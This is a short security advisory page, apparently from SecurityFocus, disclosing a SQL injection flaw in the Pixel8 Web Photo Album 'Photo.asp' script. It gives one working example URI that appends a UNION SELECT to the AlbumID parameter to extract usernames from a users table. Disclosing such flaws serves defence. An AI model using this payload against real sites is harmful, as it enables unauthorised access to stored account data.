Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Vista

Pixel8 Web Photo Album 'Photo.asp' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/Pixel8/Files/Photo.asp?Index=1&NEXTPID=1149&OSet=0&UPDEL=Yes&AlbumID=4+and+1=0+union+select+username,username,3+from+users







 

Privacy Statement
Copyright 2008, SecurityFocus